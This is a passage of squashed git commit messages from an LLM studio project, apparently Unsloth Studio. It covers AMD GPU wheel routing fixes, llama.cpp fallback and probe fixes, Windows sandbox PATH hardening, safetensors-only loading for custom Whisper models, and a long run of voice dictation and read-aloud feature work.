* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix Krackan Point (Radeon 860M/840M) routed to the gfx1150 wheel index
The GPU-name tables map 860M/840M and the Ryzen AI 7 350 / AI 5 340 CPU
strings to gfx1150, but Krackan Point is gfx1152. AMD's own lemonade table
(src/cpp/server/system_info.cpp) maps both Krackan iGPUs to gfx1152.
Unlike the three ids already fixed here, this one is not wheel-neutral:
repo.amd.com publishes gfx1150 and gfx1152 as separate index leaves with
separately built torch wheels, so these laptops were installing wheels
built for a different LLVM target. gfx1152 was absent from the codebase
entirely, so it needed the index-family maps, the torch 2.11 floor lists
(same _grouped_mm bug as gfx1150/1151), the Strix reroute set and the
Windows arch allowlist as well as the seven name tables.
The parity test added in this PR did not catch it because its AMD-matrix
expectations stopped at 890M/880M. Added the APU rows, so the case that
actually changes a wheel is now covered: reverting the tables fails 9
tests naming 860M, 840M and Krackan.
gfx1153 (Ryzen AI 5 430 era) is left alone; AMD publishes no gfx1153
wheel family, so there is nothing to route it to.
Verified: bash -n on both shell installers, PowerShell AST parse on both
.ps1 files, python ast.parse on all touched modules, install suite 1334
passed with no new failures against main, shell suite 20 files.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Add gfx1152 to unified-memory classifiers, make parity allowlist set-based
Krackan Point (gfx1152, Radeon 860M/840M) is the third RDNA 3.5 APU and
shares one GPU/system-RAM pool exactly like Strix Point (gfx1150) and
Strix Halo (gfx1151), but only the installers knew about it. The two
runtime classifiers still had two-element arch sets, so a Krackan laptop
got the 0.90 discrete headroom factor on a shared pool and ran llama.cpp
without GGML_CUDA_ENABLE_UNIFIED_MEMORY.
- worker.py _rocm_classify_unified_memory: add gfx1152 to the arch set,
and 860m/840m to the device-name fallback. The NVIDIA GeForce 840M
cannot collide there: the function is only reached under _hw.IS_ROCM.
- llama_cpp.py _amd_apu_wants_unified_memory: add gfx1152 to the arch set.
- Tests for both, including the :sramecc-:xnack- suffix form.
TestGfx211AllowlistParity compared four hardcoded allowlist strings, so
adding gfx1152 to all four installers correctly turned three assertions
red without any installer actually disagreeing with another. Each test
now extracts the set its installer holds and compares it to one EXPECTED
constant. Order and spacing are free, membership is not, and the next
leaf is a one-line edit instead of four.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Studio: reset quantized KV cache to f16 when flash-attn-off fallback fires
Studio force-enables --flash-attn on for GGUF launches. On a hard startup
or first-decode crash it retries via _with_flash_attn_off, which flipped FA
off but left --cache-type-k/-v untouched. A quantized KV cache (q8_0, q4_0,
q4_1, q5_0, q5_1, iq4_nl) requires flash attention in llama.cpp, so the retry
itself aborted at init with 'V cache quantization requires flash_attn' instead
of recovering.
Reset any quantized --cache-type-k/-v to f16 in the FA-off fallback path so
the retry can actually launch. Non-quantized types (f16, bf16, f32) run fine
without flash attention and are left unchanged. Handles long and short flag
forms and both space and equals syntax, rewriting in place to preserve list
length. Adds pytest coverage.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: FA-off fallback resets only the quantized V cache and drops env-only V cache
Only the V cache requires flash attention in llama.cpp; a quantized K cache
runs fine without it. Restrict the FA-off crash-recovery reset to the V axis
(main and draft) so a memory-constrained config keeps its quantized K cache
instead of risking an OOM on the recovery. Also drop an inherited quantized V
cache set purely through the environment (LLAMA_ARG_CACHE_TYPE_V /
LLAMA_ARG_SPEC_DRAFT_CACHE_TYPE_V) at the FA-off retry sites, which the argv
rewrite cannot reach, so the child falls back to the f16 default rather than
aborting.
* Studio: normalize underscore V-cache aliases in the FA-off fallback
llama.cpp rewrites '_' to '-' for any '--' long option before matching,
so a pass-through --cache_type_v q8_0 enables a quantized V cache just
like --cache-type-v. The FA-off crash-recovery reset only matched the
hyphenated spelling, so the underscore alias slipped through and the
retry still aborted with "V cache quantization requires flash_attn".
Canonicalize the flag name the same way before matching (short flags and
the type value are untouched).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Resolve the drift between PR #6763 and current main:
- deletion: main moved cached-model deletion into hub/services/models/deletion.py,
so the PR's Images/Video in-use guards move there too as _diffusion_blocks_delete
and _video_blocks_delete, keeping main's fail-closed 503 contract.
- llama_keepwarm: take main's rewrite, re-apply the PR's image/video inference
suffixes so a generation in flight blocks an idle unload.
- routes/training: keep main's sidecar-swap 409 and resume_source_run_id, run
start_training in the worker thread the PR's unload hook needs.
- model picker: main renamed components/assistant-ui/model-selector ->
features/model-picker/... and rewrote pickers.tsx, so the PR's picker work is
ported onto main's version (task/catalog props, task gating of hub + cached +
local rows, single-device expanderGpuGb, fine-tuned section hidden when scoped)
rather than reverting main's pinned-models and per-model-config work.
- images/video pages: imports repointed at the new model-selector path.
- tests: delete-guard tests retargeted at the deletion service.
Typecheck, i18n parity and model-catalog checks pass.
* Fix reasoning-only Qwen3.6 completions in Studio
* Address reasoning-only review findings
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* fix(studio): stop false MTP/vision capability reports (#7302)
MTP probing only inspected the first physical --spec-type help line and
treated empty/crash --help output as "lacks MTP", which false-warned on
otherwise capable builds. Parse the full --spec-type help block, fail open
when the probe is inconclusive, and stop blaming bare mmproj crashes on a
projector-format mismatch when the text-only retry also fails.
Fixes#7302
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): tighten MTP probe semantics per Codex review (#7302)
Treat nonempty --help without --spec-type as definitive no-MTP, keep only
empty/crash probes inconclusive, skip binary_no_mtp UI hint on inconclusive
loads, and stop reporting supports_mtp=True in /status for unknown probes.
* Treat failed llama-server --help probes as inconclusive (#7302)
Gate definitive no-MTP results on a zero exit code so crash diagnostics with
nonempty stderr do not re-enable the false lacks-MTP warning path.
* Add returncode to probe test mock so probe_ok gating passes
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fail open in /status when the MTP probe is inconclusive
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Report missing llama-server as lacking MTP in /status
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments in MTP/mmproj probe changes
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Roland Tannous <115670425+rolandtannous@users.noreply.github.com>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
* fix(studio): resolve bare git on Windows sandbox PATH
Sandboxed terminal tools rebuilt PATH as venv + System32 only, so
user-installed Git under Program Files never resolved by bare name.
Append absolute host PATH dirs after the curated prefix and inherit
PATHEXT on Windows (#7317).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): restrict sandbox PATH inheritance to Windows Git dirs (#7323)
Only append Git-for-Windows install directories from the host PATH on
Windows, instead of every absolute entry. This fixes bare `git` resolution
(#7317) without letting user-writable dirs (venv, node_modules/.bin)
shadow auto-safe terminal commands.
* Pin sandbox PATHEXT to block cwd script hijacks (#7317)
Use a fixed .EXE;.COM list instead of inheriting the host PATHEXT so
cmd cannot resolve auto-approved bare names from workdir .BAT/.CMD stubs.
* Resolve sandbox git dir via shutil.which and disable cwd exe lookup
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep non-exe git launchers resolvable under restricted PATHEXT
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Restrict inherited sandbox git dir to system install roots
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Drop SystemRoot trust and canonicalize short paths for sandbox git
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Resolve Program Files via known-folder API and append canonical git dir
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trust native Program Files on 32-bit Windows and stub program roots in tests
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scan PATH for a trusted git and derive native Program Files root
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Drop ProgramFiles env from the trusted-root fallback
* Fail closed when trusted Program Files root cannot be resolved
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Studio STT: only load safetensors weights for custom dictation models
The STT sidecar accepts arbitrary Hugging Face owner/model repos for
custom dictation models and, when safetensors were absent, downloaded
and loaded pytorch_model.bin through WhisperForConditionalGeneration
.from_pretrained. PyTorch checkpoints are pickles that execute code
during deserialization, and this path does not run the malware gate the
normal model loader applies, so an authenticated client on an exposed
Studio instance could load a crafted Whisper-looking repo and run code
in the backend.
Restrict custom STT repos to safetensors: the snapshot selector no
longer falls back to pytorch_model.bin(.index.json), the cached-snapshot
completeness check ignores pickle weights, and the load forces
use_safetensors so a stray cached pickle still cannot execute. The five
curated Whisper defaults already ship safetensors only, so this changes
nothing for the built-in models.
* STT: reject safetensors indexes that reference non-safetensors shards
A safetensors index (model.safetensors.index.json) is attacker-supplied
JSON and can name pytorch_model-*.bin shards in its weight_map.
Transformers dispatches shard loading per file by extension, so those
.bin shards still load through torch.load (pickle) even with
use_safetensors set. Require every weight_map value to end in
.safetensors in both the snapshot selector and the completeness check so
no pickle shard is downloaded or reused.
* Studio: add Voice settings tab (dictation, dictionary, read aloud)
New Voice tab in Settings, placed just before About:
- Dictation: microphone picker, browser STT engine, recognition language,
and an inline mic test with a live transcript
- Dictation dictionary: entries rewrite matching speech to their exact
spelling and casing, applied in both dictation paths
- Recent dictations: last 20 final transcripts with copy and clear, so
text can be recovered if it lands in the wrong place
- Read aloud: optional button on assistant responses with two engines,
curated system voices (novelty and legacy voices filtered, quality
ranked, capped at 20) or the TTS audio model loaded in Unsloth via
/audio/generate (e.g. Orpheus), plus speed, pitch, volume and preview
Settings persist in localStorage (unsloth_voice_settings) and are read
at call time so changes apply without reloading the runtime. Adds en
keys plus the tab label for ja, zh-CN and pt-BR.
* Studio: drop the single option STT engine select, rename TTS option
The STT engine dropdown only had one entry, so it added noise without
giving a real choice. The engine row can come back once local STT
models land. Also renames the TTS engine option Unsloth TTS model to
Load TTS model to make the action clearer.
* Studio: harden Voice settings against edge cases found in simulation
Simulated the feature across Chromium, Firefox and WebKit plus node
level unit runs and backend contract checks. Fixes from the findings:
- Dictionary rewrite used a replacement string, so entries containing
dollar patterns corrupted transcripts (A$$AP became A$AP, $& injected
the match). Switched to the callback form of String.replace
- Persisted voice settings now validate types on hydration: non string
micDeviceId, dictationLanguage and ttsVoiceURI, and non boolean
ttsEnabled fall back to defaults instead of flowing into the UI
- Dictionary entries are trimmed, capped at 120 chars and re-sanitized
on hydration
- The Test dictation panel now falls back to the default microphone
when the saved device is unplugged, matching the composer adapter
Test coverage: 46 unit assertions (dictionary regex edge cases across
unicode, word boundaries and injection, voice curation for simulated
macOS, Windows and Linux voice inventories, corrupt storage merge),
13 backend contract checks against /audio/generate on an isolated
instance, and 60 browser assertions across the three engines covering
rendering, degradation without SpeechRecognition, curation in a real
DOM, dictionary persistence with unicode and dollar entries, the
no-model preview error path and corrupt localStorage recovery.
* Studio: address Voice settings review feedback
Verified each review comment before acting. Confirmed and fixed:
- Editing a dictionary entry was broken in two ways: the store trimmed
on every keystroke so spaces could not be typed, and clearing the
field deleted the entry and unmounted the input mid edit. Updates now
keep the raw value and a blur commit trims or removes the entry
- The unplugged mic fallback checked instanceof DOMException, but a
cross browser probe showed Firefox and WebKit throw
OverconstrainedError objects that are not DOMExceptions, so the
fallback never fired there. Matching on the error name now
- When the browser ended a dictation test on its own (silence timeout),
the mic stream stayed open. All recognition end paths now stop the
tracks and save the transcript through a single finalize path
- The studio TTS audio element now releases its WAV data URL as soon as
playback ends, fails or is cancelled
- Allow microphone now reports insecure contexts (no mediaDevices)
accurately instead of claiming access was blocked
- Voice tab copy moved into i18n keys per src/i18n/AGENTS.md, so locale
overlays can translate it; en is the baseline and parity passes
- unsloth_voice_settings added to the Reset all local preferences key
list so voice preferences obey the reset
- Non default microphones note that the system default is used when the
browser speech engine cannot bind a specific device, since browsers
without the start(track) overload ignore the argument silently
Re-ran the full simulation set after the changes: 46 unit assertions,
13 backend contract checks and 60 browser assertions across Chromium,
Firefox and WebKit all pass, plus a dedicated browser probe for the
dictionary editing behavior.
* Studio: use the chat mic icon in Voice settings for consistency
The Voice tab and its buttons used the hugeicons Mic02 glyph while the
chat composer uses a custom filled mic. Extract that composer icon into
a shared lib/mic-icon component, drop the duplicate inline copies in
thread.tsx and shared-composer.tsx, and use it for the Voice tab icon
and the tab's mic buttons so the microphone looks the same everywhere.
* Studio: address second round of Voice settings review feedback
Verified each new comment against the current code first. One item was
already fixed in the previous round (recording transcripts when the
browser ends a dictation test on its own). Confirmed and fixed:
- The microphone row showed a picker with generic names when browsers
enumerate unlabeled devices before permission, leaving no way to
grant access from the row. It now branches on whether labels are
visible and shows Allow microphone otherwise
- Compare chat dictation ignored the selected microphone. It now opens
the chosen device with the same fallback rules as the main adapter,
passes the track to recognition where supported and releases the
stream when recognition ends
- Closing the Voice tab cancelled the shared speechSynthesis even when
read aloud was playing a chat message. Cleanup now only cancels when
the tab owns an active preview
- Double clicking Start test could race two recognizers and leak the
first stream. A starting flag set before the getUserMedia await makes
start reentrancy safe
- Turning off the read aloud setting mid playback removed the only stop
control. The stop button now renders whenever a message is speaking
- When an engine lacks the start(track) overload, both dictation paths
now release the selected device stream before retrying with the
default microphone instead of holding it open
- Read aloud support no longer requires Web Speech synthesis: the
Unsloth TTS engine only needs audio playback, so it stays available
in WebViews without speechSynthesis, with a clear error if the system
engine is chosen there
Not addressed here: cancelling in flight backend TTS generation on
stop. The route runs generation in a worker thread without a
cancellation path, which is shared pre existing behavior with audio
chat generation and belongs in a backend change.
All suites re-run green: 46 unit, 13 backend contract and 60 browser
matrix assertions across Chromium, Firefox and WebKit, plus probes for
the unlabeled device branch and the double click race.
* Studio: drop empty and duplicate voiceURIs so the Voice tab never renders a crashing Select item
* Studio: guard dictation mic lifecycle in Voice test and Compare composer
Release a microphone opened after the component unmounts, and stop Compare
dictation on a permission or security failure instead of silently recording
from the default device, matching the main chat adapter.
* Studio: fix dictation and read-aloud lifecycle edge cases in Voice settings
- Join final dictation chunks with a space so recorded transcripts do not merge words
- Ignore a stale recognizer onend so a quick stop then restart is not torn down
- Use previewingRef so a double click on TTS preview does not orphan the first request
- Keep the read-aloud stop control visible when a new run starts while a message is spoken
- Stop the dictionary remove button from deleting an adjacent entry on a blur then click race
* Studio: trim redundant Voice settings comments
* Studio: fix Voice preview and Compare dictation edge cases
- Only cancel the shared speechSynthesis for a system-voice preview, so stopping
a Studio preview no longer stops an unrelated chat read-aloud
- Release the Studio preview audio and its WAV data URL on normal completion
- Iterate every finalized result in Compare dictation so batched phrases are kept
- Cap persisted recent dictations to the last 20 on hydration
* Studio: use clipboard fallback for recents and release failed preview audio
- Copy recent dictations via the copyToClipboard helper so the execCommand
fallback works in Safari and insecure http LAN contexts
- Release the Studio preview audio when play() rejects, not just on ended/error
* Studio: add local speech-to-text dictation engine
Add an offline dictation engine that transcribes with a local faster-whisper
model, alongside the existing browser (Web Speech) engine. The browser engine
streams audio to Apple or Google speech services and needs internet; the new
engine runs on the server, works offline, and drives any chat model without
evicting it (it loads in the backend process, separate from the model
subprocess). It also gives Firefox dictation, which has no Web Speech support.
Backend: a lazily-loaded, kept-warm faster-whisper sidecar and three routes
under /api/inference/audio (stt/status, stt/load, transcribe). faster-whisper
is torch-free, so this does not disturb the existing model stack.
Frontend: a Dictation engine setting (browser or local model), a curated model
picker with sizes, and MediaRecorder capture posted to the transcribe route.
The model warms automatically when the engine is selected, with live status.
* Studio: stream local STT transcription as you speak
Local dictation showed nothing until you stopped, because the whole clip was
transcribed once on stop. Now the growing recording is re-transcribed on a
fast pass every second and emitted as live interim text, with an accurate
final pass on stop. Partial recordings decode fine, and the model refines
earlier words as more audio arrives.
Adds an interim flag to the transcribe route (beam 1, no VAD) for the fast
preview pass; the final stop uses the accurate path.
* Studio: make local dictation stop instant and reliable
Stopping local dictation waited for a final network transcription before the
session ended, so the stop button did not flip and a second click ended the
session early and dropped the text. Now stop commits the live transcript
immediately, releases the mic at once, and ignores a second stop while
finalizing. Previews run more often so the committed text is current.
* Studio: record local dictation in short clips for reliable streaming
Re-transcribing a growing buffer every second got slower as it grew, flooded
the backend, showed stale words, and could leave the stop button stuck waiting
on a backlog. Record short independent clips instead and transcribe each once,
appending the text as you speak. Work per clip is bounded, so stopping is
prompt (with a hard timeout as a safety net) and long dictations stay smooth.
* Studio: dictate then transcribe once on stop, ChatGPT style
Local STT dictation streamed by re-transcribing the growing clip, which
was quadratic and saturated the backend (multi-second lag), and stop only
halted the recorder without releasing the mic, so it kept recording. Record
the microphone continuously, release it the instant the user stops, and
transcribe the whole clip once. Stopping is immediate and the transcript
lands in about a second. Also add the tiny model for the fastest option.
* Studio: surface dictation and read-aloud failures instead of failing silently
- Compare dictation reports microphone and speech-recognition errors via toast,
reusing the main chat adapter's describeMediaError and describeSpeechError
- Read-aloud toasts genuine model or synthesis failures while ignoring cancellations
* Studio: ChatGPT-style recording bar for dictation
Clicking the mic now drops the composer into a dedicated recording bar
with a live waveform, a discard (X) and a confirm (tick), instead of a
plain stop button. The tick stops recording and transcribes the clip;
the X throws the recording away and keeps whatever text was already in
the composer. The model adapter taps the mic with an analyser to drive
the waveform, and the router tracks the live session so the X can cancel
it without transcribing.
* Studio: transcribe dictation while speaking, ChatGPT layout
Match ChatGPT's recording layout: the bar now renders in place of the
input with the left plus button kept, the waveform in the middle, and
the discard and confirm buttons together on the right.
Cut the post-confirm delay by transcribing in the background as the user
talks. The audio is split at natural pauses (voice-activity detection off
the same analyser that drives the waveform) and each clip is transcribed
as it is cut, so confirming only has to finish the short final tail. The
model is also warmed when recording starts so the first run never pays a
cold load.
* Studio: ChatGPT waveform, hide tools while dictating, faster STT
Make the recording UI read like ChatGPT: the waveform is now a dense row
of round dots that rise into thin centered bars, and while dictating only
the plus button shows, with the mode badge and tool toggles hidden so the
bar is just the waveform and controls.
Speed up transcription: decode greedily (beam_size=1), which is several
times faster on CPU with negligible accuracy loss on short dictation
clips, and cap background segments at 6s so the final tail after confirm
stays short.
* Studio: finish ChatGPT voice bar and low-latency STT
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: full-width waveform with a timer that freezes on stop
Use the full-width waveform for the recording bar: brighter, bigger bars
that advance on a fixed cadence (keeping peaks between advances) so they
glide instead of racing by, inset from the composer edges. Keep a visible
timer and the green confirm button, matching the ChatGPT reference, and
freeze the timer and waveform the moment the user confirms.
* Studio: fix multilingual local dictation
* Studio: speed up dictation and release local STT
* Studio: harden dictation finalization and STT decoding
* Studio: restore Firefox dictation fallback
* Studio: add dictation history manager
* Studio: manage speech model downloads
* Studio: remove em dash from voice model label
* Studio: move dictation history into Voice
* Studio: source local STT from Unsloth Whisper models
Point the dictation STT sidecar and its Model Hub download entries at
Unsloth's Hugging Face Whisper repos (small, large-v3-turbo, large-v3)
and run them through Transformers, so Studio only ever downloads
Unsloth-uploaded weights. Drop faster-whisper and the Systran/mobiuslabs
repos; keep the Model Hub as the only download path via local_files_only,
and keep PyAV for audio decoding.
Device selection uses float16 on CUDA and float32 on MPS and CPU, since
Whisper's decoder is unstable in float16 on MPS and repeats tokens.
Shorten the model picker labels to name plus download size and update the
STT tests for the new backend.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: smooth dictation waveform and keep pill height
* Studio: align STT model dropdown width and tidy voice copy
* Studio: guide to local engine when browser dictation is offline
* Studio: clarify voice section and STT model copy
* Studio: keep STT warm with training-aware eviction
* Harden STT lifecycle and browser compatibility
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix model discovery test lint
* Harden cross-browser microphone errors
* Harden cross-browser microphone errors
* Surface voice test recognition errors and fall back to Studio TTS
- Voice test now toasts non-abort speech-recognition failures instead of
ending silently, matching the main and Compare dictation paths.
- Read-aloud routes to the backend model when the runtime lacks Web Speech
synthesis (audio-only WebView), so it no longer errors immediately.
* Fix reviewed STT lifecycle races
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix read-aloud fallback controls
* Guard read-aloud stop when deleting a non-speaking message
aui.message().stopSpeaking() throws unless this message is the one being
read aloud, so calling it unconditionally rejected the delete handler before
the message was removed. Only stop speech when this message is speaking.
* Cap recent dictation transcript length before persisting
Recent dictations only limited entry count, so a long transcript stored the
full text in the persisted voice settings and a few could exceed the
localStorage quota, throwing synchronously from the uncaught dictation cleanup
path. Truncate each entry on save and on hydration, matching the dictionary cap.
* Studio: keep dictation mic clickable and guide to local model
Register the dictation adapter unconditionally so the mic stays enabled
for any engine and starts working right after switching to the local
model on an already-open thread.
When the browser engine cannot run (Firefox, Brave, non-secure origins),
clicking the mic shows a toast that points to the local speech-to-text
model instead of leaving a disabled button. The toast stacks its action
below the text with a fully rounded button.
* Studio: add bottom padding below the dictation guidance toast button
* Studio: increase bottom padding under the dictation toast button
* Studio: add bottom padding inside the dictation toast button
* Studio: add five Whisper defaults and custom model search
Add private UnslothAI Tiny and Base mirrors to the curated local STT choices while keeping Small as the default. Let users search or paste a Transformers-compatible Whisper repository and validate it end to end.
Keep short dictations in one clip to avoid repeated padded encoder work, then split longer recordings near Whisper's 30-second boundary.
Update hidden model filters and tests, including the CPU-only CI runtime stub for PyAV.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: use public Unsloth Whisper repositories
Point the Tiny and Base dictation defaults to the public unsloth repositories and remove the private mirror references from model filtering and tests.
* Studio: update Whisper download sizes
Reflect the cleaned public Tiny and Base repositories in the curated model labels.
* Studio: right-align STT model size, fix dropdown wheel scroll, refresh sizes
- Show the download size on the right of each model row so long names
like Whisper Large v3 Turbo no longer hide it
- Update curated Whisper sizes to the safetensors weights actually
downloaded: Tiny 151 MB, Base 290 MB, Small 967 MB
- Drive the model list scroll from a wheel handler so the mouse wheel
scrolls it inside the Settings dialog, not just the scrollbar
- Add a search icon and shorten the placeholder to Search model
* Studio: do not search when a dictation model is picked, shrink repo label
- Treat the filled-in model text as a selection, not a query, so choosing
a model no longer kicks off a Hugging Face search
- Make the repository line under each model name smaller
* Studio: tighten dictation model and local engine descriptions
* Studio: keep model display on pick instead of the query, shrink row text
- Guard the combobox input so selecting a model shows its name and does
not echo the typed query back or start a search
- Map the item label to the friendly display so picks fill the field
- Reduce the model name and size text in each row
* Studio: show only the model name in the dictation field, shrink size label
- Drop the download size from the search field; the name alone is shown
once a model is selected, with sizes kept in the dropdown list
- Reduce the size label text in each row
* Studio: clarify the dictation model description
* Studio: drop Hugging Face from the dictation model description
* Studio: move the dictation dictionary to its own Manage subpage
- Replace the inline entry list with a Manage row, matching Dictation
history, so a long dictionary no longer crowds Voice settings
- Add a DictationDictionaryView subpage that holds the entry editor
* Studio: match STT field font, use best voice for System default
- Bump the dictation model field text to text-sm so it matches the
engine dropdown next to it
- Resolve the System default read-aloud voice to the top curated voice
instead of the browser default, which is a robotic legacy voice on macOS
* Studio: rerank read-aloud voices and drop duplicate voice entries
- Rank by vendor quality, then the user's locale, then a preferred list of
natural voices, so the best voice leads instead of the first alphabetically
- Collapse voices that macOS reports twice under one name and language
* Studio: fold dictionary and recents into the dictation section
- Drop the separate Dictation dictionary and Recent dictations headings;
their Manage rows now sit under Dictation, split by the row divider
- Shorten the custom spellings description
* Studio: add search and sort to dictation history
- Filter saved dictations by text with a search field
- Sort by newest, oldest, or A to Z; show a no-matches message
- Keep Clear all available regardless of the current filter
* Studio: settle cancelled STT loads before training and fix dictation review items
Wait for a cancelled STT load to exit and release its memory before
reporting it freed for training, so the loader cannot still be inside
from_pretrained()/.to(device) holding VRAM when the training subprocess
starts. A load that finishes before observing the cancel now gets
unloaded so the memory is actually reclaimed.
Clear the accelerator cache before the CPU fallback in load() so a failed
CUDA/MPS load does not strand reserved VRAM once the sidecar is marked
CPU-resident.
Send the saved Hugging Face token when polling STT download progress so a
gated or private repo resolves and shows the correct Load/Downloaded
state instead of reporting missing.
Mark the composer Dictate button as type="button" so clicking it does not
also submit the draft when the composer already has text or attachments.
* Studio: pin dictation settings per session and close STT startup races
Capture the STT model and language when a dictation session starts and
pass them to every queued segment and the warm-up load, so changing the
model or language mid-recording no longer transcribes the same clip with
the wrong model or a model that is not downloaded.
Check the local runtime at the top of transcribe(), before the model
cache lookup and the bounded audio decode, so a server missing PyTorch or
Transformers returns 501 up front instead of decoding a long clip first.
Treat the training startup window as active for STT device selection.
start_training frees VRAM in before_spawn but only assigns _proc later, so
a concurrent STT load could take the GPU that was just cleared. A startup
flag now reports training active from the free until the process is live,
forcing those loads to CPU; a finally clears it on every exit.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: stub the STT runtime check in transcribe orchestration tests
transcribe() now verifies the local runtime up front, so the unit tests
that exercise transcription orchestration must treat the runtime as
present to keep passing where PyTorch, Transformers, and PyAV are not
installed. Stub ensure_stt_available in the shared fixture and restore
the real check in the availability and load-rejection tests.
* Harden custom Whisper dictation models
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Add whisper.cpp dictation engine with per-engine downloads and history rework
Engines
- New GGML STT sidecar that runs a managed whisper-server subprocess with
idle unload, plus a pinned static build script (scripts/build_whisper_cpp.sh)
- Dictation engine picker now offers Browser, Local transcription
(whisper.cpp), and Local transcription (Transformers)
- Both local engines serve the same five curated Whisper models and download
them directly with byte-level progress reported by /audio/stt/status
- Models auto load on selection and when their download finishes
- Unload and training admission account for both engines
Benchmarks (Apple Silicon, greedy, warm, same checkpoints)
- whisper.cpp transcribes 2.4x to 5x faster than Transformers and loads in
about 0.45s vs 0.86s for Whisper Small
- whisper.cpp GGUF path is unchanged by the Transformers addition
(load 0.445s -> 0.444s, short clip 0.391s -> 0.347s, long 1.197s -> 1.129s)
Voice settings UI
- Plain curated model select replaces the searchable combobox
- Single download progress bar with transfer rate for both engines
- Dictation history now stores every dictation with Show more pagination,
a top Clear history action, and links back to the chat it was spoken into
- Archived chats dialog gets the same pagination
- Delete dialog offers deleting a dictation together with its chat
Tests: 88 backend STT tests pass, including new snapshot download coverage.
Frontend typecheck, lint, i18n parity, and production build pass.
* Merge local engines into one option and source GGML models from unslothai
Engine selection
- The dictation engine dropdown is back to two choices: Browser and Local
transcription. The selected model decides the backend: curated ids run
GGML checkpoints through whisper.cpp, searched Hugging Face repositories
run safetensors through Transformers
- Model picker lists the curated models and searches Hugging Face for other
Whisper repositories, validating them before selection. The trigger is a
plain button so the selection never renders inside a text input
- /audio/stt/status accepts a model query param so downloaded state works
for custom repositories; the engine param on load, transcribe, and
download routes is derived from the model everywhere
Model source
- Curated GGML checkpoints now download from the Unsloth-hosted
unslothai/whisper-*-GGUF repositories (one repo per model) instead of
ggerganov/whisper.cpp; cache lookups, progress totals, and in-flight blob
tracking are per-model
Fixes
- Voice settings and dictation history were not persisting: the quota-safe
localStorage wrapper was declared after the store that uses it, so the
persist storage factory failed silently. Every settings write also threw
mid-click, which kept the model picker popover from closing on selection
- is_model_downloaded now verifies config, preprocessor config, and real
weight files instead of trusting an offline snapshot lookup, so a partial
download left by an aborted fetch shows the Download button instead of
failing to load
- Removed whisper.cpp mentions from user-facing text: the ready status
shows Loaded instead of the runtime name, picker rows show the source
repository, and runtime error messages say local transcription runtime
Verified with automated browser sessions and live API checks: selection
closes the picker with no page errors, persisted settings hydrate on
reload, a stale partial snapshot triggers download then loads on MPS and
transcribes, and curated models download from the unslothai repos. 88
backend STT tests, typecheck, lint, i18n parity, and build pass.
* Skip the duplicate source line for custom models in the STT picker
A custom repository's display name is its id, so search results and the
appended current selection rendered the same string twice. The source
line now only renders when it differs from the name; curated rows keep
their name, unslothai source repository, and download size.
* Verify every shard of a sharded checkpoint in the downloaded check
A snapshot holding one of N shards (or a corrupt shard index) passed the
downloaded check and then failed at load. When model.safetensors.index.json
exists, every shard in its weight map must now be present. Found by
simulation; covered by a regression test.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Rename stale _starting references in the pump resilience tests
The startup flag on TrainingBackend was renamed to _spawn_in_progress but
two tests added alongside it still asserted on the old name, failing the
Python 3.11 to 3.13 CI jobs.
* Make the selected model row clearly highlighted in the STT picker
The current selection was a faint background tint. It now uses the accent
background with a medium weight name. Two line rows use a small corner
radius; single line custom repo rows keep the pill shape.
* Address review feedback on STT snapshot checks, VRAM release, and dictation UX
Verify snapshot completeness in the load preflight so a partial download
fails before the audio is decoded, for curated and custom repos alike.
Drop the failed accelerator traceback before the CPU retry so the cache
clear can actually release that memory. Keep unloading the GGUF sidecar
after cancelling an in-flight Transformers load; both engines can hold
